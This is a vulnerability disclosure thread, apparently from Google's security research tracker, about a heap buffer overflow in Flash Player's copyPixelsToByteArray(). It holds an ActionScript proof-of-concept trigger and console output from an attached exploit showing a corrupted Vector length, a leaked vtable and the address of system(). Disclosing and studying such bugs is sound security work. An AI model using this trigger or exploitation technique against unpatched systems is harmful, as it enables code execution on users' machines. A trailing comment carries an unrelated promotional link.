Flash heap buffer overflow calling copyPixelsToByteArray() on a large ByteArray about google-security-research HOT 9 CLOSED

Eep. This bug is actually really nasty on 32-bit, can't believe I missed it.
Repro from nicolas joly

var ba:ByteArray = new ByteArray();
ba.position = 0xFFFFF0004;
var bd:BitmapData = new BitmapData(0x100,0x100,true,0x12345678);
bd.copyPixelsToByteArray(new Rectangle(0,0,0x80,0x80), ba);

http://helpx.adobe.com/security/products/flash-player/apsb14-21.html

Will derestrict in a week or so, etc.

Attaching a sample exploit for an old version of pepper Flash, 64-bit Linux.

Sample output to the browser JavaScript console:

---
And so it begins!
Starting search for trashed Vector
Found Vector with trashed length, num: 5
Found a Vector.<uint>, pos: 3332128
buffer address: 0x7fda9df9ad50
vtable value: 0x7fdaa3508d10
Found the specific Vector.<uint>, index: 2282
Found a ByteArray, pos: 3517486
Found the specific ByteArray, index: 5000
Current length is: 32
New length is: 1633771873
address of system plt: 0x7fdaa35a2050
address of system: 0x7fdab530a650
ByteArray vtable value: 0x7fdaa3515020
---

Making public.

[deleted comment]

thank you very much http://wdfshare.blogspot.com